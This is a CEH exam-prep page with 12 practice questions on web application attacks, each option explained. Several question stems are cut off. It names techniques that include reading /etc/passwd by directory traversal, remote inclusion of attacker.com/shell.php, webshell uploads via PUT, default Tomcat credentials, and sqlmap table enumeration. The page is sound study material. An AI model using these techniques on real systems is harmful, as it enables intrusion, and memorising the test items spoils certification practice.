CEH Web Application Hacking: 100 practice questions

12 of the 100 Web Application Hacking questions in the Certsqill CEH bank, shown in full below. Each one carries an explanation for every option, not just the correct one — the wrong answers are where the marks go.

Preparing for CEH? Take the free 5-min readiness check →

1. Injection: What vulnerability category does this represent according to OWASP?

1. Injection (A03:2021) ✓

   Correct. OS command injection is a subcategory of OWASP Injection. Untrusted data sent to an interpreter (OS shell in this case) without sanitization allows the attacker to execute arbitrary commands.
2. Broken Access Control (A01:2021)

   Incorrect. Broken Access Control involves insufficient enforcement of permissions (e.g., accessing other users' data without authorization). Command injection exploits an interpreter flaw, not an access control policy failure.
3. Security Misconfiguration (A05:2021)

   Incorrect. Security misconfiguration involves improper system/application configuration (default credentials, exposed debug endpoints). The command injection here is a code-level flaw, not a configuration issue.
4. Insecure Design (A04:2021)

   Incorrect. Insecure Design covers architectural flaws in threat modeling. While poor design may have led to this function, the specific exploitable flaw is an injection vulnerability — the technical classification takes precedence.

Passing user input directly to an OS shell creates an OS command injection vulnerability, classified under OWASP A03:2021 Injection.

2. Boolean-based blind SQL injection: What type of SQL injection is this?

1. Boolean-based blind SQL injection ✓

   Correct. Boolean-based blind SQLi infers information by observing differences in application behavior (normal vs. error page) based on true/false conditions — no data is directly returned to the attacker.
2. Error-based SQL injection

   Incorrect. Error-based SQLi extracts data through database error messages (e.g., MySQL verbose errors revealing table names). In the described scenario, an error page is returned but no data is echoed in the error message itself.
3. Time-based blind SQL injection

   Incorrect. Time-based blind SQLi uses SLEEP() or WAITFOR DELAY commands to infer true/false answers through response delays. The described attack uses page behavior changes (normal/error), not timing differences.
4. Union-based SQL injection

   Incorrect. UNION-based SQLi appends a SELECT statement to retrieve and display data directly in the response. Data being echoed back is a prerequisite — which the question explicitly states does not occur here.

Boolean-based blind SQLi uses true/false conditions to infer data through page behavior differences without any data being echoed back to the attacker.

3. Stored XSS: What type of XSS is this?

1. Stored (Persistent) XSS ✓

   Correct. Stored XSS occurs when malicious script is saved to the server (database, comment, review) and served to all subsequent visitors — no user interaction beyond page load is required.
2. Reflected XSS

   Incorrect. Reflected XSS requires the attacker to trick each victim into clicking a crafted URL containing the payload — the script is not stored server-side and only affects users who click the malicious link.
3. DOM-based XSS

   Incorrect. DOM-based XSS modifies the client-side DOM using JavaScript without the payload being stored server-side or reflected in the HTTP response. It is triggered by client-side script, not server-side storage.
4. Second-order XSS

   Incorrect. Second-order XSS is stored but only triggers when the data is later retrieved and used in a different context, often after some processing. The described scenario has immediate execution on page load, making it standard stored XSS.

Stored XSS persists in the server's database and executes for every visitor — no crafted URL required. It is more dangerous than reflected XSS because it affects all users automatically.

4. Cross-Site Request Forgery: What attack is demonstrated?

1. Clickjacking

   Incorrect. Clickjacking overlays a transparent iframe to trick users into clicking UI elements. The described attack uses auto-submitting hidden forms, not visual deception of click targets.
2. Cross-Site Request Forgery (CSRF) ✓

   Correct. CSRF exploits the browser's automatic inclusion of cookies in cross-origin requests. The victim's browser attaches the valid session cookie to the forged request, and the server cannot distinguish it from a legitimate request.
3. Cross-Site Scripting (XSS)

   Incorrect. XSS injects malicious scripts into the victim's browser context within the trusted site. CSRF originates from an attacker-controlled page and forces the victim's browser to send authenticated requests to a different site.
4. Session fixation

   Incorrect. Session fixation forces a victim to use an attacker-chosen session ID before authentication, then the attacker uses that ID after the victim logs in. CSRF uses the victim's existing valid session without needing to control the session ID.

CSRF forces an authenticated user's browser to send forged requests to a trusted site. The browser automatically includes session cookies, making the request appear legitimate to the server.

5. Directory traversal: If successful, what vulnerability is being exploited?

1. Directory traversal (path traversal) ✓

   Correct. Directory traversal uses `../` sequences to navigate above the web root and access files outside the intended document root. In this case, the attacker attempts to read /etc/passwd.
2. Local File Inclusion (LFI)

   Incorrect. LFI includes a local file in server-side execution (e.g., PHP include), potentially executing it as code. Directory traversal with a 'file' parameter that outputs content is path traversal — LFI would involve the file being executed/interpreted, not just read.
3. Remote File Inclusion (RFI)

   Incorrect. RFI includes a remote URL as a file parameter, causing the server to fetch and execute remote code. The payload shown uses local path traversal (../), not a remote URL.
4. Server-Side Request Forgery (SSRF)

   Incorrect. SSRF causes the server to make HTTP requests to internal resources. Path traversal uses filesystem path manipulation, not URL-based requests from the server.

Directory traversal uses `../` sequences to break out of the web root and read arbitrary server files, such as /etc/passwd or sensitive configuration files.

6. Remote code execution: What is the MOST likely outcome?

1. Remote code execution — the server fetches and executes the attacker's PHP file as code ✓

   Correct. With allow_url_include enabled, PHP's include() can fetch a remote URL. The server executes attacker.com/shell.php as PHP code on victim.com, granting the attacker remote code execution.
2. The server returns the content of attacker.com/shell.php as plain text to the browser

   Incorrect. PHP's include() executes the included file as PHP — it does not return it as text. If the remote file contains PHP code, that code executes on the server with the web server's privileges.
3. The request is blocked by the Same-Origin Policy

   Incorrect. The Same-Origin Policy is a browser security feature governing JavaScript's ability to make cross-origin requests from the browser. PHP server-side file inclusion is not subject to browser SOP.
4. The attacker receives the victim server's source code via an out-of-band channel

   Incorrect. While source code disclosure is possible via LFI (reading local files), RFI with allow_url_include enabled results in remote code execution on the victim server — the attacker's hosted file runs, not the victim's source code being leaked.

RFI with allow_url_include enabled causes the victim server to fetch and execute attacker-hosted PHP code, resulting in remote code execution.

7. Insecure Direct Object Reference: What vulnerability is present?

1. Insecure Direct Object Reference (IDOR) ✓

   Correct. IDOR occurs when an application uses user-controllable input to directly access objects (database records, files) without verifying authorization. Changing the id parameter accesses another user's data.
2. SQL Injection

   Incorrect. SQL injection injects SQL metacharacters to manipulate database queries. Simply changing a numeric ID parameter to another valid integer is not SQL injection — the query works as intended, just with a different (unauthorized) record ID.
3. Broken Authentication

   Incorrect. Broken Authentication involves flaws in authentication mechanisms (weak session management, credential stuffing). The user is already authenticated — the issue is authorization, not authentication.
4. Server-Side Request Forgery (SSRF)

   Incorrect. SSRF causes the server to make requests to internal resources. IDOR directly accesses application resources by manipulating a reference parameter — no server-initiated outbound request is involved.

IDOR occurs when user-controlled input directly references database objects without authorization checks. Incrementing a user ID to access another user's profile is the textbook IDOR example.

8. The database engine treats user input as data: Why does this prevent SQL injection?

1. The database engine treats user input as data, not executable SQL code — it cannot be interpreted as SQL commands regardless of content ✓

   Correct. Prepared statements separate SQL code structure from data. The query is compiled once with placeholders; user input is bound to placeholders and treated purely as data values — SQL metacharacters in the input cannot alter query logic.
2. The query is encrypted before being sent to the database, preventing interception

   Incorrect. Encryption of the database connection (TLS) is a separate concern from SQL injection prevention. Parameterized queries prevent injection by separating code from data, not through encryption.
3. The input is length-limited to prevent buffer overflow in the SQL parser

   Incorrect. SQL injection is not a buffer overflow vulnerability. Parameterized queries don't impose length limits — they prevent injection by type-binding the input as a data value rather than SQL code.
4. Special characters are HTML-encoded before being inserted into the query

   Incorrect. HTML encoding prevents XSS, not SQL injection. For SQL injection, the appropriate encoding is SQL escaping — but parameterized queries are superior to escaping because they enforce data/code separation at the engine level.

Parameterized queries compile the SQL structure before binding user input as data — the database engine cannot misinterpret user input as SQL code, regardless of its content.

9. HTTP PUT method is enabled: Which misconfiguration is being exploited?

1. HTTP PUT method is enabled, allowing unauthorized file uploads to the server ✓

   Correct. The HTTP PUT method is designed to upload content to a specified URI. When enabled without authentication or access controls, it allows attackers to upload malicious files (e.g., webshells) directly to accessible directories.
2. HTTP TRACE method is enabled, exposing cookie values via cross-site tracing

   Incorrect. HTTP TRACE echoes the request back to the client and was historically used for Cross-Site Tracing (XST) attacks to steal cookies. TRACE does not allow file uploads.
3. HTTP OPTIONS method reveals all supported HTTP methods

   Incorrect. HTTP OPTIONS returns the list of supported methods (disclosure risk) but does not itself allow file uploads. The problem here is that PUT is enabled, not that OPTIONS is enabled.
4. HTTPS is not enforced, allowing plaintext interception of the upload

   Incorrect. The lack of TLS is a confidentiality issue, not the cause of unauthorized file upload. Even over HTTPS, an enabled PUT method without access controls allows file uploads.

An enabled HTTP PUT method without access controls allows attackers to upload arbitrary files (including webshells) directly to the server's document root.

10. Default credentials left unchanged on an internet-facing: What misconfiguration is being exploited?

1. Default credentials left unchanged on an internet-facing management interface ✓

   Correct. Apache Tomcat ships with known default credentials (admin/admin, tomcat/tomcat, etc.) for the Manager application. Leaving these unchanged and exposing the interface to the internet is a critical misconfiguration.
2. SQL injection in the Tomcat Manager authentication form

   Incorrect. Using valid default credentials is authentication success, not injection. SQL injection would bypass authentication by manipulating query logic — using 'admin/admin' works because those are the actual configured credentials.
3. Directory listing enabled on the server

   Incorrect. Directory listing displays file contents of web directories without an index file. The described attack accesses an authenticated management application, not a directory listing.
4. Cross-Site Request Forgery vulnerability in the Tomcat Manager

   Incorrect. CSRF would trick an authenticated admin into performing actions. The attacker here authenticates directly using default credentials — no CSRF technique is involved.

Default credentials on exposed management interfaces are a critical misconfiguration. Tomcat Manager with admin/admin accessible from the internet enables immediate RCE via WAR file deployment.

11. It restricts script execution to scripts loaded: How does this protect against XSS attacks?

1. It restricts script execution to scripts loaded from the same origin, blocking inline scripts and scripts from external domains ✓

   Correct. `default-src 'self'` allows content (scripts, styles, images) only from the current origin. Injected inline `<script>` tags are blocked, and scripts loaded from attacker.com are blocked — significantly reducing XSS impact.
2. It encrypts all HTTP responses, preventing man-in-the-middle interception

   Incorrect. Content Security Policy is a browser policy header that controls which resources may load. Encryption is provided by HTTPS/TLS, not CSP.
3. It enables the browser's built-in XSS filter (X-XSS-Protection)

   Incorrect. X-XSS-Protection is a separate (now deprecated) header. CSP is a distinct, more powerful mechanism that restricts resource loading. A strong CSP makes X-XSS-Protection unnecessary.
4. It prevents attackers from submitting SQL injection payloads through web forms

   Incorrect. CSP is a browser-side policy that controls which resources load — it has no effect on server-side input processing or SQL injection.

CSP `default-src 'self'` blocks scripts from external origins and inline script execution, making it much harder for injected XSS payloads to execute or exfiltrate data.

12. `sqlmap -u 'http: Which sqlmap command would test for SQLi and attempt to enumerate the database tables if vul

1. `sqlmap -u 'http://target.com/page?id=1' --scan-mode=full`

   Incorrect. `--scan-mode` is not a valid sqlmap flag. sqlmap uses `--level` (1-5) and `--risk` (1-3) to control test depth, not `--scan-mode`.
2. `sqlmap -u 'http://target.com/page?id=1' --tables` ✓

   Correct. `-u` specifies the target URL with the parameter to test. `--tables` instructs sqlmap to enumerate database table names if a SQLi vulnerability is found. sqlmap first tests for injection, then automatically exploits to dump schema.
3. `sqlmap --host target.com --port 80 --exploit-sql`

   Incorrect. sqlmap does not use `--host`, `--port`, or `--exploit-sql` flags. The primary URL specification uses `-u` with the full URL including the vulnerable parameter.
4. `sqlmap -i target.com --dump-all --force`

   Incorrect. `-i` in sqlmap reads URLs from a file (not a target directly). `--force` is not a standard sqlmap flag. `--dump-all` is valid but requires an already-confirmed injection point, not a test URL.

sqlmap -u with --tables tests the specified URL parameter for SQL injection and enumerates database tables if a vulnerability is confirmed.

Other CEH domains

• System Hacking Phases and Attack Techniques — 96 questions →
• Reconnaissance Techniques — 84 questions →
• Network and Perimeter Hacking — 81 questions →
• Mobile Platform, IoT, and OT Hacking — 38 questions →
• Cryptography — 35 questions →
• All 498 CEH questions →